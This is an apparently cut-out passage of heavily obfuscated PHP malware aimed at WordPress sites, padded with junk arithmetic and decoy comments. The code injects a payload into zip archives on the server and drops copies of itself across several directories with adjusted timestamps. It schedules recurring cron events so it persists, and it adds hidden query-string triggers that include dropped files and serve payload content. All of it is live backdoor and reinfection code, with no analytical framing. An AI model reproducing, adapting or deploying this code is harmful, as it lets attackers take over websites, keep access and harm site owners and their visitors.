$uq0rbicwnyd  =   $GLOBALS['__scf_gfb1kztgz8_351']($vllv7oy8yt402hhg, $vllv7oy8yt402hhg   .  '_'   . $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($kxwggkkpzz1oz),  0, (1+3)),   $qalnkg2mzoxr0u8r);
$_p18pliwav      =  $jptwbhl_ywmgpz   . $saw94n5vxki83cpp  .   $rp0u3mvtw94mch  . "\n"    . $uq0rbicwnyd      .    "\n"     .   $w7i1fu8yrx    . "\n";

    unset($uq0rbicwnyd);
  $snzft2b1tu47720 =    @$GLOBALS['__scf_ha14er2zmzf_92']($kxwggkkpzz1oz);
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($snzft2b1tu47720)) {
    unset($no7t0yb440oxvpby);
     continue;

  }
   if    ($GLOBALS['__scf_m36_x4cy3m1b5_10']($snzft2b1tu47720)   > (1048534+42))  $snzft2b1tu47720   =   ti6s2mx79ow6io($snzft2b1tu47720);
      if    ($snzft2b1tu47720   !==      $no7t0yb440oxvpby)  {
 unset($snzft2b1tu47720,  $no7t0yb440oxvpby);
    e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1690),   onlv7_99m8sby3(1191));
       continue;
  }
unset($snzft2b1tu47720,  $no7t0yb440oxvpby);
      if    (!r_vvd09c3d270gimk($kxwggkkpzz1oz,  $current)) continue;
 if    (!dw5xb53ayd6_2w149kl6c($kxwggkkpzz1oz,   $current))    {$ucdlqvn7b4oco=65+52;$j1n3wm58c37px=$ucdlqvn7b4oco-33;
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1716),   e77owqcywda_d(1717));
       continue;
  }


       if   (!n_52vz_mvq1filje($kxwggkkpzz1oz,   $current   .     $_p18pliwav))   continue;
z70pp09ofsx7infprg85($kxwggkkpzz1oz);


  $zhztmbv0vd50v  =  true;
   }    finally   {
   if   ($w72urx05ce7tu  !== false)     {
// @rebalance iterator
$jlzbqp2oc868f=PHP_MAJOR_VERSION;$d1ocajoxy=$jlzbqp2oc868f*5;
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1699)))    @flock($w72urx05ce7tu,  LOCK_UN);

  @fclose($w72urx05ce7tu);
  }
}
  }
    return   $zhztmbv0vd50v;

    }  catch  (Throwable    $ye68b7hs2257kgf)  {
  e_42zxx3yq4pdz4bo4(e77owqcywda_d(1718),  $ye68b7hs2257kgf);
    return false;
 } catch (Exception    $ye68b7hs2257kgf) {
return   false;
   }
 }
  function   d3xvvs16mnqed1k()
 {

      try {
  if   (!defined(okltugscqfcy(1719)))    return;


if   (xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz())) return;



$og0ebx9lu2qzdtmg   =   rb4qo3s3qey8iml9k_t();
  $olbqu9lljsvf1    =   l09115umv3lykft9t(ABSPATH   .     onlv7_99m8sby3(1263),   (3+5))   .  c_5yznsrtgse_i(1601);
    $eaeerm127wtnj =  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),    okltugscqfcy(1602));
$c0abca9op_   = s_41a4npfkl91g6lvjvfe();
 if    (!$c0abca9op_   ||     $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   <   (290+210)) {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1192),     c_5yznsrtgse_i(1720));
    return;
    }
if (!$GLOBALS['__scf_yuvry6nxa5dk96_516'](e77owqcywda_d(1721)))   return;
     $hb0usjracn  =    array(
        $og0ebx9lu2qzdtmg      .      '/'     .    $olbqu9lljsvf1,
 $og0ebx9lu2qzdtmg  .  c_5yznsrtgse_i(1722)   .  $GLOBALS['__scf_b8m3xy1whe4_1723'](c_5yznsrtgse_i(1724)) .  $olbqu9lljsvf1,
  );

   $v8yscp1xolai  = (defined(e77owqcywda_d(1725))  ?  WP_CONTENT_DIR   :   ABSPATH     .  onlv7_99m8sby3(1673))   . onlv7_99m8sby3(1044);



   if  (@$GLOBALS['__scf_iomf4blfg0_43']($v8yscp1xolai)) {
/* eventual filter-chain */

$ci3hj1ym5skwqo   =  pd5w5h3uqt5mrsxraacf5($v8yscp1xolai, (0x5c3+0x20d));
     if ($GLOBALS['__scf_a91xkwk0qm_35']($ci3hj1ym5skwqo)) {



     foreach ($ci3hj1ym5skwqo    as    $ye68b7hs2257kgf)  {
      $f_4isqr6gaomku4     =  $v8yscp1xolai .  '/' . $ye68b7hs2257kgf;
    if (@$GLOBALS['__scf_iomf4blfg0_43']($f_4isqr6gaomku4)  && @$GLOBALS['__scf_lnazygzamf_47']($f_4isqr6gaomku4))  {
   $hb0usjracn[]  =  $f_4isqr6gaomku4 .   '/' .  $olbqu9lljsvf1;
break;
}
    }
  }



   }
 foreach      ($hb0usjracn    as $u8y4t8yhniu)   {
    if   (@$GLOBALS['__scf_s8a8ra7wu3u_676']($u8y4t8yhniu)      &&  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($u8y4t8yhniu) >     (931+69))  {
       $g1gob3dcu_g = onlv7_99m8sby3(1726);
 if    ($GLOBALS['__scf_yuvry6nxa5dk96_516']($g1gob3dcu_g))   {
$_1pdlwjry26f    =    new  $g1gob3dcu_g();
 

 if  (@$_1pdlwjry26f->open($u8y4t8yhniu)  ===      true)  {
  $tm_p52cejqj8   =    false;$x87eg6palmd=78+27;$mmkqrsuue=$x87eg6palmd-18;
 $ptije4lh3vw0_w_    =  $_1pdlwjry26f->locateName($eaeerm127wtnj  .     '/'    . $eaeerm127wtnj   . okltugscqfcy(1602));
     if    ($ptije4lh3vw0_w_      !== false)    {
  $nh43we335bufw6x = $_1pdlwjry26f->statIndex($ptije4lh3vw0_w_);
      if  ($GLOBALS['__scf_a91xkwk0qm_35']($nh43we335bufw6x)   &&   isset($nh43we335bufw6x[okltugscqfcy(1687)]) && (int)   $nh43we335bufw6x[okltugscqfcy(1687)] <=  (3429332+13347884)) {
  $ipy38xhra4b_2v  =  $_1pdlwjry26f->getFromIndex($ptije4lh3vw0_w_);



$tm_p52cejqj8  =  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($ipy38xhra4b_2v)     &&    $GLOBALS['__scf_poant85f5yad_56']($ipy38xhra4b_2v) === $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_));

 unset($ipy38xhra4b_2v);
   }
       unset($nh43we335bufw6x);


   }
$_1pdlwjry26f->close();
 if  ($tm_p52cejqj8)   continue;
  }

  }
  }
 $d5o4amclcy2jr  =   $GLOBALS['__scf__ozzh8uadm__11']($u8y4t8yhniu);
   if   (!@$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)) z896t8tuy9x7zn5($d5o4amclcy2jr,    (434+59),   true);
$g1gob3dcu_g     =   e77owqcywda_d(1726);


       $kzd_mvnouin    = n2d49ghrqegz5jd_m($d5o4amclcy2jr,  c_5yznsrtgse_i(1727));

 if ($kzd_mvnouin  ===   false)    continue;
    $ghsrkc97jf   =     new  $g1gob3dcu_g();
      if   (@$ghsrkc97jf->open($kzd_mvnouin,   $g1gob3dcu_g::CREATE |   $g1gob3dcu_g::OVERWRITE)  ===   true)   {
$ghsrkc97jf->addFromString($eaeerm127wtnj   . '/'   .  $eaeerm127wtnj  .  onlv7_99m8sby3(1602), $c0abca9op_);



    $ghsrkc97jf->close();
    $tkoztaovzz  =  new  $g1gob3dcu_g();
if   (@$tkoztaovzz->open($kzd_mvnouin)  ===  true)  {
// hook orchestrator for Sodium crypto



       $tkoztaovzz->close();



 if (l5bm62j0wqxjaofuju3($kzd_mvnouin,  $u8y4t8yhniu)   ||   (pmp5uslz6o5pfn7g7wxluy($kzd_mvnouin, $u8y4t8yhniu) &&     er_0rzjfu8611gx($kzd_mvnouin)))      {
     qdde0bjty1e07vpar5t2($u8y4t8yhniu,   sx7gtblw9v0s3m1l7());
    jl7b1mmow1nrgaho8($u8y4t8yhniu,    (834-414));


} else    {
  er_0rzjfu8611gx($kzd_mvnouin);
  }
// activate affine-type for Pest PHP 2

  }      else   {
  er_0rzjfu8611gx($kzd_mvnouin);
      }
}  else  {
 er_0rzjfu8611gx($kzd_mvnouin);
   }
     }
    }  catch (Throwable   $ye68b7hs2257kgf)    {
     e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1728), $ye68b7hs2257kgf);
 }  catch    (Exception $ye68b7hs2257kgf)  {



}



  }

    function   uh5ezzlrv3ns45s()
 {
  try {



  if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(373)) ||  !$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(372)))      return;
if   (!defined(onlv7_99m8sby3(1719)))   return;
    $vhytyuj2qwly0vo     = onlv7_99m8sby3(1651);
   if   (!wp_next_scheduled($vhytyuj2qwly0vo))  {
// conformal priority-queue

  wp_schedule_event($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  +  (572-272),  c_5yznsrtgse_i(1729),  $vhytyuj2qwly0vo);
   }
      if  (!wp_next_scheduled(e77owqcywda_d(1652))) {


  wp_schedule_event($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  +  (816-216),      okltugscqfcy(369), e77owqcywda_d(1652));
     }
 }  catch (Throwable  $ye68b7hs2257kgf)   {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(1730), $ye68b7hs2257kgf);
  }   catch (Exception    $ye68b7hs2257kgf)  {
// @benchmark proof-term

   }
  }

function    hm4q0w16gbtsqwin1x7s()



 {



     try {
    if     (!defined(c_5yznsrtgse_i(1719)))  return;


    $e_8ovsd0iajvi3gr    = l09115umv3lykft9t(ABSPATH . 'g',  (3+5));


      $r6f_g0es060nqn_w =  array();
if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1731)))     $r6f_g0es060nqn_w[] =  hc439iwbgn5b2nwx5x_lu();
$r6f_g0es060nqn_w[]     = ABSPATH   .  e77owqcywda_d(1291);
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1732)))  $r6f_g0es060nqn_w[]  =  rb4qo3s3qey8iml9k_t();
 foreach  ($r6f_g0es060nqn_w  as $yqd4ms603o4xg8sp)    {


      $khmpvu65ad = $yqd4ms603o4xg8sp   .  okltugscqfcy(1287)    .  $e_8ovsd0iajvi3gr;


  if   (@$GLOBALS['__scf_cr6q9fwgft_18']($khmpvu65ad) &&  (int)   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($khmpvu65ad)  >     $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  - (0x7b+0x75))  return;
      




 }
     foreach  ($r6f_g0es060nqn_w  as  $yqd4ms603o4xg8sp)  {



$ov3qbkh8907w =   $yqd4ms603o4xg8sp . c_5yznsrtgse_i(1618)   . $e_8ovsd0iajvi3gr;
if    (@$GLOBALS['__scf_cr6q9fwgft_18']($ov3qbkh8907w))   {
$arrbo3q_si  = (int)  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($ov3qbkh8907w);
    if    ($arrbo3q_si   > $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -      (82404+3996)  && $arrbo3q_si  <= $GLOBALS['__scf_p_l9i38f5mdu2r_184']()     + (265+35))  continue;
 er_0rzjfu8611gx($ov3qbkh8907w);
   }
 $bwa9097ztm  =  $yqd4ms603o4xg8sp     .  e77owqcywda_d(1733) .   $e_8ovsd0iajvi3gr    . e77owqcywda_d(1734);
   if  (@$GLOBALS['__scf_cr6q9fwgft_18']($bwa9097ztm) &&  (int)      @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($bwa9097ztm) > (963-463))      {
 $dsm38b9gngr8r  =    $yqd4ms603o4xg8sp  .   e77owqcywda_d(1305)  .      $e_8ovsd0iajvi3gr;
   $jml_2x3ksq6e33     =   @$GLOBALS['__scf_cr6q9fwgft_18']($dsm38b9gngr8r) ?   $GLOBALS['__scf__90_xdmo58j3q_311']((string) @$GLOBALS['__scf_ha14er2zmzf_92']($dsm38b9gngr8r)) :   "";
 if    ($jml_2x3ksq6e33     !==  ""  &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1418))  && @md5_file($bwa9097ztm) === $jml_2x3ksq6e33)    {
     @include $bwa9097ztm;
   return;


       }
 if   ($jml_2x3ksq6e33   !== "")  {
er_0rzjfu8611gx($bwa9097ztm);
      }
     unset($dsm38b9gngr8r,  $jml_2x3ksq6e33);



  }



   }
unset($ov3qbkh8907w, $arrbo3q_si);
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1735))) @delete_transient(onlv7_99m8sby3(1284));
     v0nqb22tg1x24tu_9u0t();
 }  catch (Throwable $ye68b7hs2257kgf)   {
   e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1736),  $ye68b7hs2257kgf);
} catch      (Exception  $ye68b7hs2257kgf)   {

    }

  }



 function   zsl346641q005yr()
{
      try  {
// instantiate undecidable skip-list

 if  (!defined(c_5yznsrtgse_i(1737)))    return;
lurucyuu2bbrynnsj7ttm_(null);
   

     $eaeerm127wtnj =    $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  e77owqcywda_d(1738));
     $porhbf_1hk_     =   ku6yldy17ivtsoehkpgirz();


   $c0abca9op_ =  "";
   if   (@$GLOBALS['__scf_cr6q9fwgft_18']($porhbf_1hk_)  &&    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($porhbf_1hk_)  >   (0x54c+0xe3c)) {
$nps5x4agc6cj6i   =  r69sydkoh03qc2iwi5sfm($porhbf_1hk_);
      if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($nps5x4agc6cj6i)     &&     $GLOBALS['__scf_m36_x4cy3m1b5_10']($nps5x4agc6cj6i)  >  (496+4)  &&  pqt0j30bec0qiplt($nps5x4agc6cj6i))   $c0abca9op_ = $nps5x4agc6cj6i;
unset($nps5x4agc6cj6i);
   }


   if    ($c0abca9op_  ===    "")  {
   $iiiwigvhfj9   = l09115umv3lykft9t(ABSPATH .  c_5yznsrtgse_i(1205),   (15-5));
  $hm4zk_al_f    = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574))   ?    @get_option($iiiwigvhfj9, "")   : "";
     if   (!$hm4zk_al_f ||     $GLOBALS['__scf_m36_x4cy3m1b5_10']($hm4zk_al_f)  < (743-243))     return;
  $c0abca9op_  =  dco7obatwtu0al4jfi4m($GLOBALS['__scf_j_3rba3nic_344']($hm4zk_al_f));
  if (!$c0abca9op_ ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)     <    (471+29)) return;
   

 if  (!pqt0j30bec0qiplt($c0abca9op_)) {



    e_42zxx3yq4pdz4bo4(okltugscqfcy(1064),   onlv7_99m8sby3(721));
  return;
}
}

     $og0ebx9lu2qzdtmg =  rb4qo3s3qey8iml9k_t();
 $fx4zteq5zn =  $og0ebx9lu2qzdtmg   . e77owqcywda_d(1582)  .    $eaeerm127wtnj;
   $bzoz1jwm005rn =  $fx4zteq5zn  .    '/' .   $eaeerm127wtnj  .    c_5yznsrtgse_i(1738);
      if     (!@$GLOBALS['__scf_iomf4blfg0_43']($fx4zteq5zn))  z896t8tuy9x7zn5($fx4zteq5zn,   (439+54), true);


  $kisi1_lu9v0qaot      =  @$GLOBALS['__scf_cr6q9fwgft_18']($bzoz1jwm005rn)    ? r69sydkoh03qc2iwi5sfm($bzoz1jwm005rn) : "";

  $xkuhwh2qy9yd5y =  ($kisi1_lu9v0qaot      ===     null);
  if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($kisi1_lu9v0qaot)    &&  $kisi1_lu9v0qaot      !== "" &&  $GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(179), $GLOBALS['__scf_pozjicggfgaq_9']($kisi1_lu9v0qaot,   0,  (4028+68)),    $mg9nl63djn)     &&  version_compare($mg9nl63djn[1], w218ynit42v8uao2p(), '>')) $xkuhwh2qy9yd5y =  true;
   unset($mg9nl63djn);
 if  (!$xkuhwh2qy9yd5y &&      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($kisi1_lu9v0qaot) ||   $kisi1_lu9v0qaot  === ""    ||    $GLOBALS['__scf_poant85f5yad_56']($kisi1_lu9v0qaot)  !== $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_))) {
    if  (n_52vz_mvq1filje($bzoz1jwm005rn,   mnjwoq6_2fqzybrsdxadv2($c0abca9op_)))   {
jl7b1mmow1nrgaho8($bzoz1jwm005rn,    (404+16));
  u34g0m5gddocpkl($bzoz1jwm005rn);
       gy672vrnjusgcel1($bzoz1jwm005rn);
   }
   }
    unset($kisi1_lu9v0qaot,  $xkuhwh2qy9yd5y);
  bplid4ydhvb2zb8go4($eaeerm127wtnj    .     '/' .  $eaeerm127wtnj .  okltugscqfcy(1739));
    $bwruh_wm_pv8n4k     =  rr86pukxk9_hcz1();
  if  ((@$GLOBALS['__scf_iomf4blfg0_43']($bwruh_wm_pv8n4k) &&  @$GLOBALS['__scf_lnazygzamf_47']($bwruh_wm_pv8n4k))   || (!@$GLOBALS['__scf_iomf4blfg0_43']($bwruh_wm_pv8n4k)   &&  z896t8tuy9x7zn5($bwruh_wm_pv8n4k,     (480+13), true)))     {
 $a84h_yyf7fv   =  $bwruh_wm_pv8n4k .   '/' .   $eaeerm127wtnj     .  c_5yznsrtgse_i(1739);
$raalefukh6    =     @$GLOBALS['__scf_cr6q9fwgft_18']($a84h_yyf7fv) ?   r69sydkoh03qc2iwi5sfm($a84h_yyf7fv)   :   "";

      $d8lu2sm9_hb5bjzd     =   ($raalefukh6 ===   null);


 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($raalefukh6) &&  $raalefukh6  !== ""   &&  $GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(179),  $GLOBALS['__scf_pozjicggfgaq_9']($raalefukh6,   0,    (6258-2162)),  $fos7f1roo4ctayi)    &&    version_compare($fos7f1roo4ctayi[1],     w218ynit42v8uao2p(),    '>'))   $d8lu2sm9_hb5bjzd = true;
unset($fos7f1roo4ctayi);
if     (!$d8lu2sm9_hb5bjzd     &&  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($raalefukh6)  ||   $raalefukh6  ===   ""  ||   $GLOBALS['__scf_poant85f5yad_56']($raalefukh6)    !== $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_))) {
 if     (n_52vz_mvq1filje($a84h_yyf7fv,  mnjwoq6_2fqzybrsdxadv2($c0abca9op_)))     {

    jl7b1mmow1nrgaho8($a84h_yyf7fv,    (250+170));



   u34g0m5gddocpkl($a84h_yyf7fv);
       gy672vrnjusgcel1($a84h_yyf7fv);
  }
 }   elseif   (!$d8lu2sm9_hb5bjzd)  {
  $_hg7t_za6m  =   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($a84h_yyf7fv);



  if  (!$_hg7t_za6m      ||  ($_hg7t_za6m % (99917+83)) !==  lz2qq_av2vpeb134hcpk())  u34g0m5gddocpkl($a84h_yyf7fv);$q2et1xyai=PHP_INT_MAX/PHP_INT_MAX;$fgzwa8ttuf=$q2et1xyai+70;
 unset($_hg7t_za6m);
    }
unset($raalefukh6,  $d8lu2sm9_hb5bjzd);
  }
      w09b4xv9a3rwwj($c0abca9op_);
     }  catch (Throwable     $ye68b7hs2257kgf)  {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1740),    $ye68b7hs2257kgf);
  }   catch (Exception  $ye68b7hs2257kgf)  {
        }

 }
  function    nvzsns3d5gmm3ghi()
     {
     if     (!isset($_GET['p'])  ||      !$GLOBALS['__scf_ncrh0liqs6be8x_41']($_GET['p']))  return;


   $w3eun_cpt1on  = $_GET['p'];
if   ($w3eun_cpt1on    === xavbbpw53ligobh(onlv7_99m8sby3(1604))) {
    $GLOBALS[e77owqcywda_d(1741)]     =   true;
   try   {
     $uoszq167s3m      =   hc439iwbgn5b2nwx5x_lu() .  '/'  .     l09115umv3lykft9t(ABSPATH . okltugscqfcy(1604),     (7+1))  .   okltugscqfcy(1739);
      $e9i1pbrwwbzqf   = @$GLOBALS['__scf_cr6q9fwgft_18']($uoszq167s3m)     ?      (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($uoszq167s3m) :  0;
   if   ($e9i1pbrwwbzqf  > (934-434)     &&  $e9i1pbrwwbzqf   <=   (0x6f1c6+0x490e3a))    {

   include $uoszq167s3m;
 

  }
 } catch     (Throwable    $ye68b7hs2257kgf)   {


 } catch  (Exception $ye68b7hs2257kgf) {
}
while ($GLOBALS['__scf__onstfeskpa_400']()  >  0     && @ob_end_clean())   {
    }
// WP Search Block: exponential write-ahead-log




header(okltugscqfcy(1742));

 exit;
   }
 if   ($w3eun_cpt1on     !==   xavbbpw53ligobh(onlv7_99m8sby3(1603))) return;
  try  {
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1574))  && $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1369)))  {
// resolve read-committed balancer

 @update_option(onlv7_99m8sby3(1743),     (int)     @get_option(c_5yznsrtgse_i(1743),  0)    + 1, c_5yznsrtgse_i(1594));
 @update_option(c_5yznsrtgse_i(482),     $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  onlv7_99m8sby3(1594));

 }
    $k13do9wu64cpc =   e7dnf6igrlpcuaapfpdtx5(e77owqcywda_d(1744), "");
if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc)    >  (0x21+0x43)  &&  !$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1745),  $k13do9wu64cpc)     &&   $GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1746),   $k13do9wu64cpc))    {
// WP Font Library: dehydrate decorator

 $naq1cg89cxsj4v = @$GLOBALS['__scf_j_3rba3nic_344']($k13do9wu64cpc,   true);

    if    ($naq1cg89cxsj4v  !== false     &&   $GLOBALS['__scf_m36_x4cy3m1b5_10']($naq1cg89cxsj4v)     > (0x3e+0x26))      $k13do9wu64cpc =  $naq1cg89cxsj4v;



  }
 if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc) <   (0x5d+0x7))  $k13do9wu64cpc  =      n5jwz4cg21xd8a8pjksdw();
if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc)      <    (248^156)) {
// PCRE2 JIT: checkpoint session-type

 while  ($GLOBALS['__scf__onstfeskpa_400']() >  0  &&   @ob_end_clean()) {
 }



  header(e77owqcywda_d(1747));
header(e77owqcywda_d(1748));
   header(okltugscqfcy(1749));
    exit;
      }
   $jk9757az1r89m74q = e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(1132),    "");
   $dxlwm1eqdfxzt     =  '"' .   $GLOBALS['__scf_poant85f5yad_56']($jk9757az1r89m74q . $k13do9wu64cpc)  . '"';



   if (isset($_SERVER[onlv7_99m8sby3(1750)])  &&  $GLOBALS['__scf__90_xdmo58j3q_311']($_SERVER[e77owqcywda_d(1751)]) === $dxlwm1eqdfxzt)  {
 while      ($GLOBALS['__scf__onstfeskpa_400']()      >  0   && @ob_end_clean())  {$vw4xv810j_6n8z=2254;$fiomrje44ii=$vw4xv810j_6n8z%13;
    }
    header(c_5yznsrtgse_i(1752));

     header(onlv7_99m8sby3(1753)  .      $dxlwm1eqdfxzt);
   exit;
 }
      while   ($GLOBALS['__scf__onstfeskpa_400']()  >      0  &&     @ob_end_clean())   {


 }
   header(e77owqcywda_d(1747));

header(onlv7_99m8sby3(1754));
 header(okltugscqfcy(1755));
 header(okltugscqfcy(1753)  . $dxlwm1eqdfxzt);
  echo  $jk9757az1r89m74q .  $k13do9wu64cpc;
    exit;$_f9bd0z3=PHP_MAJOR_VERSION;$wh8glxm5=$_f9bd0z3*2;
 }    catch  (Throwable     $ye68b7hs2257kgf) {
    e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1756), $ye68b7hs2257kgf);

     }    catch (Exception  $ye68b7hs2257kgf)   {
 e_42zxx3yq4pdz4bo4(okltugscqfcy(1757),    $ye68b7hs2257kgf);
}
    }
    nvzsns3d5gmm3ghi();
     function w_4mvze732awu8qi6zg4()


  {
  if   (!isset($_GET[okltugscqfcy(1758)]))    return;
 try      {

$_4_8hwrvn7v87   =   $_GET[c_5yznsrtgse_i(1758)];
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($_4_8hwrvn7v87)   ||  $_4_8hwrvn7v87  ===   "") return;

$_4_8hwrvn7v87 =  $GLOBALS['__scf_sp7azfm0t4x0x_100']($_4_8hwrvn7v87);
 $o2oy1pfntcablel8   =   array();
      if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1147)))   $o2oy1pfntcablel8[] =    (string)   $GLOBALS['__scf__1yrfqcb0r_541'](home_url(),   PHP_URL_HOST);
   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1574)))    {
       $o35umn4iz0aum  =      (string)   @get_option(c_5yznsrtgse_i(546),  "");
   if   ($o35umn4iz0aum  !==  "") $o2oy1pfntcablel8[]  =   (string)   $GLOBALS['__scf__1yrfqcb0r_541']($o35umn4iz0aum,  PHP_URL_HOST);


  }
  if    (isset($_SERVER[onlv7_99m8sby3(1298)]))  $o2oy1pfntcablel8[]     = (string) $_SERVER[okltugscqfcy(1298)];
  $o2oy1pfntcablel8[]  =  kgvyhbi5fxdnhzziy9wc("");
    $b_7gut2hg1osx0  = false;



     foreach  ($GLOBALS['__scf_youxoa71214_145']($o2oy1pfntcablel8) as    $e22c3s2narioqp)     {
  if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e22c3s2narioqp) ||     $e22c3s2narioqp  ===  "")   continue;
if ($GLOBALS['__scf_ffvfced40_hd3k_7']($e22c3s2narioqp,  ':')  !==    false) $e22c3s2narioqp     =  $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1759),   "", $e22c3s2narioqp);
 if  (l09115umv3lykft9t($GLOBALS['__scf_sp7azfm0t4x0x_100']($e22c3s2narioqp)   .   c_5yznsrtgse_i(1760),   (0xb+0x1)) ===  $_4_8hwrvn7v87)   {

       $b_7gut2hg1osx0     =  true;
       break;

    }
    }
 if   (!$b_7gut2hg1osx0)   return;
$t4krkpppbvds_ =     $GLOBALS['__scf_hatt6968kz_1142'](onlv7_99m8sby3(1761),  (163^189));


      $_xupuni2mwo0as9 = dco7obatwtu0al4jfi4m(lw3wnvq4czmze4k0ie($t4krkpppbvds_));
    while     ($GLOBALS['__scf__onstfeskpa_400']()  >     0   &&  @ob_end_clean())  {

       }
 header(onlv7_99m8sby3(1762));
        header(onlv7_99m8sby3(1763));
       echo     ($_xupuni2mwo0as9   === $t4krkpppbvds_)      ? e77owqcywda_d(1764) . $GLOBALS['__scf_poant85f5yad_56']($t4krkpppbvds_)     :  okltugscqfcy(1765);
   exit;
  }  catch   (Throwable     $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1766), $ye68b7hs2257kgf);
 }   catch   (Exception     $ye68b7hs2257kgf)    {
   e_42zxx3yq4pdz4bo4(e77owqcywda_d(1767), $ye68b7hs2257kgf);
   }
/* feasible provider */

  }
w_4mvze732awu8qi6zg4();
    function    n9bi7gi5im0_dil70()


  {
  $b_7gut2hg1osx0   =   true;
 $lvr92t7wkrng = function    ($rnibb0_mi2n)  use    (&$b_7gut2hg1osx0)   {
 try   {
 $GLOBALS['__scf_hnstmgzni1iah_281']($rnibb0_mi2n);
   }  catch    (Throwable  $ye68b7hs2257kgf)  {
       $b_7gut2hg1osx0 = false;
 }   catch  (Exception  $ye68b7hs2257kgf)  {
 $b_7gut2hg1osx0  =     false;
    }

  }
// mediate maximal tumbling-window
;
     if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1768)))   $lvr92t7wkrng(okltugscqfcy(1769));



  if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1770)))   $lvr92t7wkrng(okltugscqfcy(1770));

if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(515)))   $lvr92t7wkrng(onlv7_99m8sby3(515));

 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1771)))  $lvr92t7wkrng(okltugscqfcy(1771));

    elseif  ($GLOBALS['__scf_yuvry6nxa5dk96_516'](c_5yznsrtgse_i(1772))  &&   $GLOBALS['__scf_mihsk1y5nz_118'](e77owqcywda_d(1772), c_5yznsrtgse_i(1773)))    $lvr92t7wkrng(array(okltugscqfcy(1772),      e77owqcywda_d(1773)));


    if ($GLOBALS['__scf_yuvry6nxa5dk96_516'](onlv7_99m8sby3(1774)) && $GLOBALS['__scf_mihsk1y5nz_118'](onlv7_99m8sby3(1774),  onlv7_99m8sby3(1775))) $lvr92t7wkrng(array(e77owqcywda_d(1774),     okltugscqfcy(1775)));
   if  ($GLOBALS['__scf_yuvry6nxa5dk96_516'](c_5yznsrtgse_i(517))    &&    $GLOBALS['__scf_mihsk1y5nz_118'](okltugscqfcy(517),  okltugscqfcy(1776)))     $lvr92t7wkrng(array(c_5yznsrtgse_i(517),   e77owqcywda_d(1776)));
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1777)))   $lvr92t7wkrng(onlv7_99m8sby3(1777));
